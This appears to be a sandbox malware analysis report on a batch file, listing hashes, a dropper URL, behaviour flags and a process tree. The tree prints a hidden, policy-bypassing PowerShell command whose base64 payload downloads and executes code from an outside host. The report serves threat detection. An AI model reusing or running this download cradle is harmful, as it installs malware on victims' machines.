af1d8cbc343170e1f1dd41acc5e71b715e2a52d555dde6cf7cbd1ddff75ad34e

Analysis

max time kernel
67s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
20/09/2022, 17:54

Target

ted/excimer.bat
Size

1KB
MD5

ca2f2dbe229b11a5d19532a095517786
SHA1

117f789e962dfff480309a766e84fce9dd9ab528
SHA256

c4762afcd5bfc15315081453004ab88bd0dbaafa74ca58b4f6f8fb920e1c8a8c
SHA512

42dab7cf697ba6d40a4d75531e723064f6144703c0227c4d34b2eed000a9a5ba5e4a1342e2617a78ce51b9e370475a29601c522509acb626ad510bb5b21d84dd

Score

10^/10

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://meeronixt.com/gate

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2764	powershell.exe
2764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3496 wrote to memory of 2764	3496	cmd.exe	82
PID 3496 wrote to memory of 2764	3496	cmd.exe	82

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ted\excimer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -w hidden -nop -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBlAGUAcgBvAG4AaQB4AHQALgBjAG8AbQAvAGcAYQB0AGUAIgApAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

memory/2764-133-0x0000021EA73F0000-0x0000021EA7412000-memory.dmp

Filesize
136KB

Download
memory/2764-134-0x00007FFE84DB0000-0x00007FFE85871000-memory.dmp

Filesize
10.8MB

Download
memory/2764-135-0x00007FFE84DB0000-0x00007FFE85871000-memory.dmp

Filesize
10.8MB

Download